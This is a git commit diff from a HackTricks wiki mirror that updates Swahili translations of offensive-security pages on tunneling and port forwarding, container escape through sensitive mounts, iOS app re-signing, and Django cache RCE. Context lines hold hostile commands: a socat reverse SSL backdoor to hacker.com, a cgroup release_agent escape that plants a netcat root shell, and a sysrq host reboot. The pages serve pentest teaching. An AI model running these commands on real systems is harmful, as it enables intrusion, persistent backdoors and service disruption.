mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-hacking/tunneling-and-port-forwarding.md', 'src
This commit is contained in:
parent
2c6934f0c9
commit
9dc5e19905
@ -68,7 +68,7 @@ ssh -i dmz_key -R <dmz_internal_ip>:443:0.0.0.0:7000 root@10.129.203.111 -vN
|
||||
```
|
||||
### VPN-Tunnel
|
||||
|
||||
Unahitaji **root katika vifaa vyote viwili** (kama unavyotaka kuunda interfaces mpya) na usanidi wa sshd lazima uruhusu kuingia kwa root:\
|
||||
Unahitaji **root katika vifaa vyote viwili** (kama unavyotaka kuunda interfaces mpya) na usanidi wa sshd lazima uruhusu kuingia kama root:\
|
||||
`PermitRootLogin yes`\
|
||||
`PermitTunnel yes`
|
||||
```bash
|
||||
@ -89,7 +89,7 @@ route add -net 10.0.0.0/16 gw 1.1.1.1
|
||||
```
|
||||
> [!NOTE]
|
||||
> **Usalama – Shambulio la Terrapin (CVE-2023-48795)**
|
||||
> Shambulio la kupunguza la Terrapin la mwaka 2023 linaweza kumruhusu mtu aliye katikati kubadilisha mkutano wa awali wa SSH na kuingiza data katika **kila channel iliyosambazwa** ( `-L`, `-R`, `-D` ). Hakikisha mteja na seva zote zimepatishwa (**OpenSSH ≥ 9.6/LibreSSH 6.7**) au wazi wazi zima algorithimu hatarishi `chacha20-poly1305@openssh.com` na `*-etm@openssh.com` katika `sshd_config`/`ssh_config` kabla ya kutegemea SSH tunnels.
|
||||
> Shambulio la kupunguza la Terrapin la mwaka 2023 linaweza kumruhusu mtu katikati kuingilia kati mkutano wa awali wa SSH na kuingiza data katika **kila channel iliyosambazwa** ( `-L`, `-R`, `-D` ). Hakikisha mteja na seva zote zimepatishwa (**OpenSSH ≥ 9.6/LibreSSH 6.7**) au wazi wazi zima algorithimu dhaifu `chacha20-poly1305@openssh.com` na `*-etm@openssh.com` katika `sshd_config`/`ssh_config` kabla ya kutegemea SSH tunnels.
|
||||
|
||||
## SSHUTTLE
|
||||
|
||||
@ -156,8 +156,8 @@ rportfwd stop [bind port]
|
||||
```
|
||||
Ili kuzingatia:
|
||||
|
||||
- Reverse port forward ya Beacon imeundwa ili **kufanya tunnel trafiki kwa Team Server, sio kwa kuhamasisha kati ya mashine binafsi**.
|
||||
- Trafiki **inafanywa tunnel ndani ya trafiki ya C2 ya Beacon**, ikiwa ni pamoja na viungo vya P2P.
|
||||
- Reverse port forward ya Beacon imeundwa ili **kufanya tunneling ya trafiki kwa Team Server, sio kwa kuhamasisha kati ya mashine binafsi**.
|
||||
- Trafiki **inafanywa tunneling ndani ya trafiki ya C2 ya Beacon**, ikiwa ni pamoja na viungo vya P2P.
|
||||
- **Haki za Admin hazihitajiki** kuunda reverse port forwards kwenye bandari za juu.
|
||||
|
||||
### rPort2Port local
|
||||
@ -223,7 +223,7 @@ interface_add_route --name "ligolo" --route <network_address_agent>/<netmask_age
|
||||
# Display the tun interfaces -- Attacker
|
||||
interface_list
|
||||
```
|
||||
### Kuunganisha na Kusikiliza kwa Wakala
|
||||
### Kuweka na Kusikiliza kwa Wakala
|
||||
```bash
|
||||
# Establish a tunnel from the proxy server to the agent
|
||||
# Create a TCP listening socket on the agent (0.0.0.0) on port 30000 and forward incoming TCP connections to the proxy (127.0.0.1) on port 10000 -- Attacker
|
||||
@ -290,12 +290,10 @@ attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,f
|
||||
victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|TCP:hacker.com:443,connect-timeout=5
|
||||
#Execute the meterpreter
|
||||
```
|
||||
Unaweza kupita **proxy isiyo na uthibitisho** ukitekeleza mstari huu badala ya wa mwisho kwenye konso ya mwathirika:
|
||||
Unaweza kupita **proxy isiyo na uthibitisho** ukitekeleza mstari huu badala ya ule wa mwisho kwenye konso ya mwathirika:
|
||||
```bash
|
||||
OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5
|
||||
```
|
||||
[https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/](https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/)
|
||||
|
||||
### SSL Socat Tunnel
|
||||
|
||||
**/bin/sh console**
|
||||
@ -358,7 +356,7 @@ Katika kompyuta yako ya mteja, pakia **`SocksOverRDP-Plugin.dll`** kama ifuatavy
|
||||
# Load SocksOverRDP.dll using regsvr32.exe
|
||||
C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll
|
||||
```
|
||||
Sasa tunaweza **kuunganisha** na **mhasiriwa** kupitia **RDP** kwa kutumia **`mstsc.exe`**, na tunapaswa kupokea **kiashiria** kinachosema kwamba **SocksOverRDP plugin imewezeshwa**, na itakuwa **inaskiliza** kwenye **127.0.0.1:1080**.
|
||||
Sasa tunaweza **kuunganisha** na **mhasiriwa** kupitia **RDP** kwa kutumia **`mstsc.exe`**, na tunapaswa kupokea **kipeperushi** kinachosema kwamba **SocksOverRDP plugin imewezeshwa**, na itakuwa **inaskiliza** kwenye **127.0.0.1:1080**.
|
||||
|
||||
**Unganisha** kupitia **RDP** na pakia & tekeleza kwenye mashine ya mhasiriwa `SocksOverRDP-Server.exe` binary:
|
||||
```
|
||||
@ -396,8 +394,8 @@ Domain CONTOSO.COM
|
||||
Proxy 10.0.0.10:8080
|
||||
Tunnel 2222:<attackers_machine>:443
|
||||
```
|
||||
Sasa, ikiwa utaweka kwa mfano katika mwathirika huduma ya **SSH** kusikiliza kwenye bandari 443. Unaweza kuungana nayo kupitia bandari ya mshambuliaji 2222.\
|
||||
Unaweza pia kutumia **meterpreter** inayounganisha na localhost:443 na mshambuliaji anasikiliza kwenye bandari 2222.
|
||||
Sasa, ikiwa utaweka kwa mfano katika mwathirika huduma ya **SSH** kusikiliza katika bandari 443. Unaweza kuungana nayo kupitia bandari ya mshambuliaji 2222.\
|
||||
Pia unaweza kutumia **meterpreter** inayounganisha na localhost:443 na mshambuliaji anasikiliza katika bandari 2222.
|
||||
|
||||
## YARP
|
||||
|
||||
@ -510,7 +508,7 @@ _Ipo pia uwezekano wa kuongeza uthibitisho na TLS, ikiwa ni lazima._
|
||||
# Listen (example): nc -nvlp 4444
|
||||
# Remote connect (example): nc $(dig +short 0.tcp.ngrok.io) 12345
|
||||
```
|
||||
#### Kuonyesha faili kwa HTTP
|
||||
#### Kuweka wazi faili kwa HTTP
|
||||
```bash
|
||||
./ngrok http file:///tmp/httpbin/
|
||||
# Example of resulting link: https://abcd-1-2-3-4.ngrok.io/
|
||||
@ -574,11 +572,11 @@ Anza kiunganishi:
|
||||
```bash
|
||||
cloudflared tunnel run mytunnel
|
||||
```
|
||||
Kwa sababu trafiki yote inatoka kwenye mwenyeji **nje kupitia 443**, Cloudflared tunnels ni njia rahisi ya kupita ACLs za kuingia au mipaka ya NAT. Kuwa makini kwamba binary kawaida inafanya kazi na mamlaka ya juu – tumia kontena au bendera `--user` inapowezekana.
|
||||
Kwa sababu trafiki yote inatoka kwenye mwenyeji **nje kupitia 443**, Cloudflared tunnels ni njia rahisi ya kupita ACLs za kuingia au mipaka ya NAT. Kuwa makini kwamba binary kawaida inafanya kazi na ruhusa za juu – tumia kontena au lippu `--user` inapowezekana.
|
||||
|
||||
## FRP (Fast Reverse Proxy)
|
||||
|
||||
[`frp`](https://github.com/fatedier/frp) ni proxy ya nyuma ya Go inayoshughulikiwa kwa ufanisi ambayo inasaidia **TCP, UDP, HTTP/S, SOCKS na P2P NAT-hole-punching**. Kuanzia na **v0.53.0 (Mei 2024)** inaweza kutenda kama **SSH Tunnel Gateway**, hivyo mwenyeji wa lengo anaweza kuanzisha tunnel ya nyuma kwa kutumia tu mteja wa kawaida wa OpenSSH – hakuna binary ya ziada inahitajika.
|
||||
[`frp`](https://github.com/fatedier/frp) ni proxy ya nyuma ya Go inayosimamiwa kwa ufanisi ambayo inasaidia **TCP, UDP, HTTP/S, SOCKS na P2P NAT-hole-punching**. Kuanzia na **v0.53.0 (Mei 2024)** inaweza kutenda kama **SSH Tunnel Gateway**, hivyo mwenyeji wa lengo anaweza kuanzisha tunnel ya nyuma kwa kutumia tu mteja wa kawaida wa OpenSSH – hakuna binary ya ziada inahitajika.
|
||||
|
||||
### Classic reverse TCP tunnel
|
||||
```bash
|
||||
|
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Ufunuo wa `/proc`, `/sys`, na `/var` bila kutengwa kwa namespace kunaleta hatari kubwa za usalama, ikiwa ni pamoja na kuongezeka kwa uso wa shambulio na ufichuzi wa taarifa. Maktaba hizi zina faili nyeti ambazo, ikiwa zimepangwa vibaya au kufikiwa na mtumiaji asiyeidhinishwa, zinaweza kusababisha kutoroka kwa kontena, mabadiliko ya mwenyeji, au kutoa taarifa zinazosaidia mashambulizi zaidi. Kwa mfano, kuunganisha vibaya `-v /proc:/host/proc` kunaweza kupita ulinzi wa AppArmor kutokana na asili yake ya msingi wa njia, na kuacha `/host/proc` bila ulinzi.
|
||||
Ufunuo wa `/proc`, `/sys`, na `/var` bila kutengwa kwa namespace kunaleta hatari kubwa za usalama, ikiwa ni pamoja na kuongezeka kwa uso wa shambulio na ufunuo wa taarifa. Maktaba haya yana faili nyeti ambazo, ikiwa zimepangwa vibaya au kufikiwa na mtumiaji asiyeidhinishwa, zinaweza kusababisha kutoroka kwa kontena, mabadiliko ya mwenyeji, au kutoa taarifa zinazosaidia mashambulizi zaidi. Kwa mfano, kuunganisha vibaya `-v /proc:/host/proc` kunaweza kupita ulinzi wa AppArmor kutokana na asili yake ya msingi wa njia, na kuacha `/host/proc` bila ulinzi.
|
||||
|
||||
**Unaweza kupata maelezo zaidi ya kila hatari inayoweza kutokea katika** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)**.**
|
||||
|
||||
@ -15,7 +15,7 @@ Maktaba hii inaruhusu ufikiaji wa kubadilisha vigezo vya kernel, kawaida kupitia
|
||||
#### **`/proc/sys/kernel/core_pattern`**
|
||||
|
||||
- Imeelezwa katika [core(5)](https://man7.org/linux/man-pages/man5/core.5.html).
|
||||
- Ikiwa unaweza kuandika ndani ya faili hii inawezekana kuandika bomba `|` ikifuatiwa na njia ya programu au script ambayo itatekelezwa baada ya ajali kutokea.
|
||||
- Ikiwa unaweza kuandika ndani ya faili hii inawezekana kuandika bomba `|` ikifuatiwa na njia ya programu au skripti ambayo itatekelezwa baada ya ajali kutokea.
|
||||
- Mshambuliaji anaweza kupata njia ndani ya mwenyeji kwa kontena lake akitekeleza `mount` na kuandika njia ya binary ndani ya mfumo wa faili wa kontena lake. Kisha, angamiza programu ili kufanya kernel itekeleze binary nje ya kontena.
|
||||
|
||||
- **Mfano wa Upimaji na Ukatili**:
|
||||
@ -49,7 +49,7 @@ ls -l $(cat /proc/sys/kernel/modprobe) # Angalia upatikanaji wa modprobe
|
||||
|
||||
#### **`/proc/sys/vm/panic_on_oom`**
|
||||
|
||||
- Imeelekezwa katika [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
|
||||
- Imejumuishwa katika [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
|
||||
- Bendera ya kimataifa inayodhibiti ikiwa kernel inapaswa kuanguka au kuitisha OOM killer wakati hali ya OOM inatokea.
|
||||
|
||||
#### **`/proc/sys/fs`**
|
||||
@ -59,9 +59,9 @@ ls -l $(cat /proc/sys/kernel/modprobe) # Angalia upatikanaji wa modprobe
|
||||
|
||||
#### **`/proc/sys/fs/binfmt_misc`**
|
||||
|
||||
- Inaruhusu kujiandikisha kwa wakalimani wa fomati za binary zisizo za asili kulingana na nambari yao ya uchawi.
|
||||
- Inaweza kusababisha kupanda kwa haki au upatikanaji wa shell ya root ikiwa `/proc/sys/fs/binfmt_misc/register` inaweza kuandikwa.
|
||||
- Uthibitisho wa husika na maelezo:
|
||||
- Inaruhusu kujiandikisha kwa wakalimani wa muundo wa binary usio wa asili kulingana na nambari yake ya uchawi.
|
||||
- Inaweza kusababisha kupanda kwa haki au upatikanaji wa root shell ikiwa `/proc/sys/fs/binfmt_misc/register` inaweza kuandikwa.
|
||||
- Ukatili unaohusiana na maelezo:
|
||||
- [Poor man's rootkit via binfmt_misc](https://github.com/toffan/binfmt_misc)
|
||||
- Mafunzo ya kina: [Video link](https://www.youtube.com/watch?v=WBC7hhgMvQQ)
|
||||
|
||||
@ -70,7 +70,7 @@ ls -l $(cat /proc/sys/kernel/modprobe) # Angalia upatikanaji wa modprobe
|
||||
#### **`/proc/config.gz`**
|
||||
|
||||
- Inaweza kufichua usanidi wa kernel ikiwa `CONFIG_IKCONFIG_PROC` imewezeshwa.
|
||||
- Inatumika kwa washambuliaji kubaini udhaifu katika kernel inayotumika.
|
||||
- Inafaida kwa washambuliaji kubaini udhaifu katika kernel inayotumika.
|
||||
|
||||
#### **`/proc/sysrq-trigger`**
|
||||
|
||||
@ -78,24 +78,24 @@ ls -l $(cat /proc/sys/kernel/modprobe) # Angalia upatikanaji wa modprobe
|
||||
- **Mfano wa Kuanzisha Upya Mwenyeji**:
|
||||
|
||||
```bash
|
||||
echo b > /proc/sysrq-trigger # Inaanzisha upya mwenyeji
|
||||
echo b > /proc/sysrq-trigger # Inarejesha mwenyeji
|
||||
```
|
||||
|
||||
#### **`/proc/kmsg`**
|
||||
|
||||
- Inafichua ujumbe wa buffer ya ring ya kernel.
|
||||
- Inaweza kusaidia katika mashambulizi ya kernel, kuvuja anwani, na kutoa taarifa nyeti za mfumo.
|
||||
- Inaweza kusaidia katika ukosefu wa kernel, kuvuja kwa anwani, na kutoa taarifa nyeti za mfumo.
|
||||
|
||||
#### **`/proc/kallsyms`**
|
||||
|
||||
- Inataja alama za kernel zilizotolewa na anwani zao.
|
||||
- Muhimu kwa maendeleo ya mashambulizi ya kernel, hasa kwa kushinda KASLR.
|
||||
- Taarifa za anwani zinapunguzwa ikiwa `kptr_restrict` imewekwa kuwa `1` au `2`.
|
||||
- Muhimu kwa maendeleo ya ukosefu wa kernel, hasa kwa kushinda KASLR.
|
||||
- Taarifa za anwani zimewekwa vizuizi ikiwa `kptr_restrict` imewekwa kuwa `1` au `2`.
|
||||
- Maelezo katika [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
|
||||
|
||||
#### **`/proc/[pid]/mem`**
|
||||
|
||||
- Inafanya kazi na kifaa cha kumbukumbu ya kernel `/dev/mem`.
|
||||
- Inashirikiana na kifaa cha kumbukumbu ya kernel `/dev/mem`.
|
||||
- Kihistoria ilikuwa na udhaifu wa mashambulizi ya kupanda kwa haki.
|
||||
- Zaidi kuhusu [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
|
||||
|
||||
@ -131,7 +131,7 @@ echo b > /proc/sysrq-trigger # Inaanzisha upya mwenyeji
|
||||
#### **`/sys/kernel/uevent_helper`**
|
||||
|
||||
- Inatumika kwa kushughulikia `uevents` za kifaa cha kernel.
|
||||
- Kuandika kwenye `/sys/kernel/uevent_helper` kunaweza kutekeleza skripti zisizo na mipaka wakati wa kuanzisha `uevent`.
|
||||
- Kuandika kwenye `/sys/kernel/uevent_helper` kunaweza kutekeleza skripti zisizo za kawaida wakati wa kuanzisha `uevent`.
|
||||
- **Mfano wa Ukatili**:
|
||||
```bash
|
||||
|
||||
@ -264,7 +264,7 @@ the other containers' filesystems are available under a different base path:
|
||||
```bash
|
||||
$ docker info | grep -i 'docker root\|storage driver'
|
||||
Dereva ya Hifadhi: overlay2
|
||||
Dir ya Mzizi ya Docker: /var/lib/docker
|
||||
Dir ya Msingi ya Docker: /var/lib/docker
|
||||
```
|
||||
|
||||
So the filesystems are under `/var/lib/docker/overlay2/`:
|
||||
@ -319,7 +319,7 @@ mkdir -p /tmp/x && echo 1 > /tmp/x/notify_on_release
|
||||
echo '/tmp/pwn' > /sys/fs/cgroup/release_agent # requires CVE-2022-0492
|
||||
|
||||
echo -e '#!/bin/sh\nnc -lp 4444 -e /bin/sh' > /tmp/pwn && chmod +x /tmp/pwn
|
||||
sh -c "echo 0 > /tmp/x/cgroup.procs" # triggers the empty-cgroup event
|
||||
sh -c "echo 0 > /tmp/x/cgroup.procs" # inasababisha tukio la empty-cgroup
|
||||
```
|
||||
|
||||
When the last process leaves the cgroup, `/tmp/pwn` runs **as root on the host**. Patched kernels (>5.8 with commit `32a0db39f30d`) validate the writer’s capabilities and block this abuse.
|
||||
|
@ -8,9 +8,9 @@ Programu zilizosainiwa na **entitlement `get_task_allow`** zinawaruhusu programu
|
||||
|
||||
Hata hivyo, si rahisi kama tu kuvuta IPA, kuisaini tena na entitlement, na kuirudisha kwenye kifaa chako. Hii ni kwa sababu ya ulinzi wa FairPlay. Wakati saini ya programu inabadilika, funguo za DRM (Digital Rights Management) **zinabatilishwa na programu haitafanya kazi**.
|
||||
|
||||
Kwa kifaa cha zamani kilichovunjwa, inawezekana kufunga IPA, **kuikodisha kwa kutumia chombo unachokipenda** (kama Iridium au frida-ios-dump), na kuirudisha kutoka kwenye kifaa. Ingawa, ikiwa inawezekana, inapendekezwa kuwasiliana na mteja kwa IPA iliyokodishwa.
|
||||
Kwa kifaa cha zamani kilichovunjwa, inawezekana kufunga IPA, **kuifungua kwa kutumia chombo unachokipenda** (kama Iridium au frida-ios-dump), na kuirudisha kutoka kwenye kifaa. Ingawa, ikiwa inawezekana, inapendekezwa kuomba tu kwa mteja kwa IPA iliyofunguliwa.
|
||||
|
||||
## Pata IPA iliyokodishwa
|
||||
## Pata IPA iliyofunguliwa
|
||||
|
||||
### Pata kutoka Apple
|
||||
|
||||
@ -18,14 +18,14 @@ Kwa kifaa cha zamani kilichovunjwa, inawezekana kufunga IPA, **kuikodisha kwa ku
|
||||
2. Funga na uzindue [Apple Configurator](https://apps.apple.com/au/app/apple-configurator/id1037126344?mt=12) ndani ya macos yako
|
||||
3. Fungua `Terminal` kwenye Mac yako, na cd hadi `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps`. IPA itaonekana katika folda hii baadaye.
|
||||
4. Unapaswa kuona kifaa chako cha iOS. Bonyeza mara mbili juu yake, kisha bonyeza Ongeza + → Programu kutoka kwenye menyu ya juu.
|
||||
5. Baada ya kubonyeza Ongeza, Configurator itashusha IPA kutoka Apple, na kujaribu kuisukuma kwenye kifaa chako. Ikiwa ulifuata mapendekezo yangu awali na tayari umefunga IPA, ujumbe wa kukuuliza ufungue programu tena utaonekana.
|
||||
5. Baada ya kubonyeza Ongeza, Configurator itashusha IPA kutoka Apple, na kujaribu kuisukuma kwenye kifaa chako. Ikiwa ulifuata mapendekezo yangu awali na tayari umefunga IPA, ujumbe wa kukuuliza ufungue tena programu utaonekana.
|
||||
6. IPA inapaswa kushushwa ndani ya `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps` ambapo unaweza kuichukua.
|
||||
|
||||
Angalia [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed) kwa maelezo zaidi kuhusu mchakato huu.
|
||||
|
||||
### Kuikodisha programu
|
||||
### Kufungua programu
|
||||
|
||||
Ili kuikodisha IPA tunakwenda kuifunga. Hata hivyo, ikiwa una iPhone ya zamani iliyovunjwa, huenda toleo lake halitasaidiwa na programu kwani kawaida programu zinasaidia tu matoleo ya hivi karibuni.
|
||||
Ili kufungua IPA tunakwenda kuifunga. Hata hivyo, ikiwa una iPhone ya zamani iliyovunjwa, huenda toleo lake halitaungwa mkono na programu kwani kawaida programu zinasaidia tu matoleo ya hivi karibuni.
|
||||
|
||||
Hivyo, ili kuifunga, fungua tu IPA:
|
||||
```bash
|
||||
@ -33,7 +33,7 @@ unzip redacted.ipa -d unzipped
|
||||
```
|
||||
Angalia `Info.plist` kwa toleo la chini linaloungwa mkono na ikiwa kifaa chako ni cha zamani zaidi ya hicho, badilisha thamani ili iweze kuungwa mkono.
|
||||
|
||||
Zip back IPA:
|
||||
Zip back the IPA:
|
||||
```bash
|
||||
cd unzipped
|
||||
zip -r ../no-min-version.ipa *
|
||||
@ -44,14 +44,14 @@ ideviceinstaller -i no-min-version.ipa -w
|
||||
```
|
||||
Note that you might need **AppSync Unified tweak** from Cydia to prevent any `invalid signature` errors.
|
||||
|
||||
Once intalled, you can use **Iridium tweak** from Cydia in order to obtain the decrypted IPA.
|
||||
Once installed, you can use **Iridium tweak** from Cydia in order to obtain the decrypted IPA.
|
||||
|
||||
|
||||
### Patch entitlements & re-sign
|
||||
|
||||
Ili kusaini upya programu na `get-task-allow` entitlement kuna zana kadhaa zinazopatikana kama `app-signer`, `codesign`, na `iResign`. `app-signer` ina kiolesura rafiki cha mtumiaji ambacho kinaruhusu kusaini upya faili la IPA kwa urahisi kwa kuashiria IPA ya kusaini upya, kuweka **`get-taks-allow`** na cheti na profaili ya ugawaji ya kutumia.
|
||||
Ili kusaini upya programu na `get-task-allow` entitlement kuna zana kadhaa zinazopatikana kama `app-signer`, `codesign`, na `iResign`. `app-signer` ina kiolesura rafiki cha mtumiaji ambacho kinaruhusu kusaini upya faili la IPA kwa urahisi kwa kuashiria IPA ya kusaini upya, kuweka `get-taks-allow` na cheti na profaili ya usambazaji ya kutumia.
|
||||
|
||||
Kuhusu vyeti na profaili za kusaini, Apple inatoa **profaili za kusaini za watengenezaji bure** kwa akaunti zote kupitia Xcode. Unda tu programu na uipange. Kisha, panga **iPhone kuamini programu za watengenezaji** kwa kuingia kwenye `Settings` → `Privacy & Security`, na bonyeza `Developer Mode`.
|
||||
Kuhusu cheti na profaili za kusaini, Apple inatoa **free developer signing profiles** kwa akaunti zote kupitia Xcode. Unda tu programu na uipange. Kisha, panga **iPhone kuamini programu za developer** kwa kuingia kwenye `Settings` → `Privacy & Security`, na bonyeza `Developer Mode`.
|
||||
|
||||
With the re-signed IPA, it's time to install it in the device to pentest it:
|
||||
```bash
|
||||
@ -67,7 +67,7 @@ Tangu iOS 16 Apple ilianzisha **Hali ya Mwandishi**: binary yoyote inayobeba `ge
|
||||
2. Nenda kwenye **Mipangilio → Faragha & Usalama → Hali ya Mwandishi** na iwashe.
|
||||
3. Kifaa kitaanzisha upya; baada ya kuingiza nambari ya siri utaulizwa **Washa** Hali ya Mwandishi.
|
||||
|
||||
Hali ya Mwandishi inabaki hai hadi uizime au kufuta simu, hivyo hatua hii inahitaji kufanywa mara moja tu kwa kifaa. [Hati za Apple](https://developer.apple.com/documentation/xcode/enabling-developer-mode-on-a-device) zinaelezea athari za usalama.
|
||||
Hali ya Mwandishi inabaki hai hadi uizime au kufuta simu, hivyo hatua hii inahitaji kufanywa mara moja kwa kifaa. [Hati za Apple](https://developer.apple.com/documentation/xcode/enabling-developer-mode-on-a-device) zinaelezea athari za usalama.
|
||||
|
||||
### Chaguzi za kisasa za sideloading
|
||||
|
||||
@ -75,14 +75,14 @@ Sasa kuna njia kadhaa za kisasa za sideloading na kuweka IPAs zilizosainiwa up-t
|
||||
|
||||
| Chombo | Mahitaji | Nguvu | Mipaka |
|
||||
|--------|----------|-------|--------|
|
||||
| **AltStore 2 / SideStore** | msaidizi wa macOS/Windows/Linux anayesaini tena IPA kila siku 7 kwa profaili ya bure ya mwandishi | Upakuaji wa moja kwa moja kupitia Wi-Fi, inafanya kazi hadi iOS 17 | Inahitaji kompyuta kwenye mtandao mmoja, kikomo cha programu 3 kilichowekwa na Apple |
|
||||
| **TrollStore 1/2** | Kifaa kwenye iOS 14 – 15.4.1 kilicho hatarini kwa hitilafu ya CoreTrust | *Saini ya kudumu* (hakuna kikomo cha siku 7); hakuna kompyuta inayohitajika mara tu inapowekwa | Haipatikani kwenye iOS 15.5+ (hitilafu imefanyiwa marekebisho) |
|
||||
| **AltStore 2 / SideStore** | msaidizi wa macOS/Windows/Linux anayesaini tena IPA kila siku 7 kwa wasifu wa bure wa maendeleo | Upakuaji wa moja kwa moja kupitia Wi-Fi, inafanya kazi hadi iOS 17 | Inahitaji kompyuta kwenye mtandao mmoja, kikomo cha programu 3 kilichowekwa na Apple |
|
||||
| **TrollStore 1/2** | Kifaa kwenye iOS 14 – 15.4.1 kilichokuwa hatarini kwa hitilafu ya CoreTrust | *Saini ya kudumu* (hakuna kikomo cha siku 7); hakuna kompyuta inahitajika mara baada ya kusakinishwa | Haipatikani kwenye iOS 15.5+ (hitilafu imefanyiwa marekebisho) |
|
||||
|
||||
Kwa pentests za kawaida kwenye toleo la sasa la iOS, Alt/Side-Store mara nyingi ni chaguo bora zaidi.
|
||||
Kwa pentests za kawaida kwenye toleo la sasa la iOS, Alt/Side-Store kwa kawaida ndio chaguo bora zaidi.
|
||||
|
||||
### Hooking / uhandisi wa dynamic
|
||||
|
||||
Unaweza kuhook programu yako kama ilivyo kwenye kifaa kilichofungwa mara tu inapokuwa imesainiwa na `get_task_allow` **na** Hali ya Mwandishi ikiwa wazi:
|
||||
Unaweza kuhook programu yako kama ilivyo kwenye kifaa kilichofungwa mara tu inaposainiwa na `get_task_allow` **na** Hali ya Mwandishi ikiwa juu:
|
||||
```bash
|
||||
# Spawn & attach with objection
|
||||
objection -g "com.example.target" explore
|
||||
@ -104,15 +104,15 @@ opensecurity/mobile-security-framework-mobsf:latest
|
||||
```
|
||||
MobSF itapeleka kiotomatiki binary, iwezeshe seva ya Frida ndani ya sandbox ya programu na kuunda ripoti ya mwingiliano.
|
||||
|
||||
### iOS 17 & Kikwazo cha Modu ya Kufunga
|
||||
### iOS 17 & Kikwazo cha Modu ya Lockdown
|
||||
|
||||
* **Modu ya Kufunga** (Mipangilio → Faragha & Usalama) inazuia linker ya dynamic kupakia maktaba za dynamic zisizo na saini au zilizotiwa saini na nje. Unapojaribu vifaa ambavyo vinaweza kuwa na hali hii imewezeshwa hakikisha ime **zimwa** au vikao vyako vya Frida/objection vitakatishwa mara moja.
|
||||
* Uthibitishaji wa Pointer (PAC) unatekelezwa kwa mfumo mzima kwenye vifaa vya A12+. Frida ≥16 inashughulikia PAC stripping kwa uwazi — hakikisha unashikilia *frida-server* na zana za Python/CLI zikiwa za kisasa wakati toleo jipya kuu la iOS linatolewa.
|
||||
* **Modu ya Lockdown** (Mipangilio → Faragha & Usalama) inazuia linker ya dynamic kupakia maktaba za dynamic zisizo na saini au zilizotiwa saini na nje. Unapojaribu vifaa ambavyo vinaweza kuwa na hali hii imewezeshwa hakikisha ime **zimwa** au vikao vyako vya Frida/objection vitakatishwa mara moja.
|
||||
* Uthibitishaji wa Pointer (PAC) unatekelezwa kwa mfumo mzima kwenye vifaa vya A12+. Frida ≥16 inashughulikia PAC stripping kwa uwazi — tu hakikisha *frida-server* na zana za Python/CLI ziko katika hali ya kisasa unapozindua toleo jipya kuu la iOS.
|
||||
|
||||
## Marejeleo
|
||||
|
||||
- [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed)
|
||||
- Hati za maendeleo za Apple – Kuwawezesha Modu ya Mende kwenye kifaa: <https://developer.apple.com/documentation/xcode/enabling-developer-mode-on-a-device>
|
||||
- Hati za maendeleo za Apple – Kuwawezesha Modu ya Developer kwenye kifaa: <https://developer.apple.com/documentation/xcode/enabling-developer-mode-on-a-device>
|
||||
- Mfumo wa Usalama wa Simu (MobSF): <https://mobsf.github.io/Mobile-Security-Framework-MobSF/>
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,11 +1,11 @@
|
||||
# Django
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include /src/banners/hacktricks-training.md}}
|
||||
|
||||
## Cache Manipulation to RCE
|
||||
Njia ya kuhifadhi cache ya Django ya kawaida ni [Python pickles](https://docs.python.org/3/library/pickle.html), ambayo inaweza kusababisha RCE ikiwa [ingizo lisiloaminika limeondolewa](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf). **Ikiwa mshambuliaji anaweza kupata ufikiaji wa kuandika kwenye cache, wanaweza kupeleka udhaifu huu hadi RCE kwenye seva ya msingi**.
|
||||
|
||||
Cache ya Django inahifadhiwa katika moja ya maeneo manne: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [kumbukumbu](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [faili](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16), au [hifadhidata](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). Cache iliyohifadhiwa kwenye seva ya Redis au hifadhidata ndiyo njia za shambulio zinazoweza kutokea (Redis injection na SQL injection), lakini mshambuliaji pia anaweza kutumia cache ya faili kubadilisha kuandika kwa njia isiyo ya kawaida kuwa RCE. Wajibu wa kudumisha wameashiria hili kama si tatizo. Ni muhimu kutambua kwamba folda ya faili la cache, jina la meza ya SQL, na maelezo ya seva ya Redis yatatofautiana kulingana na utekelezaji.
|
||||
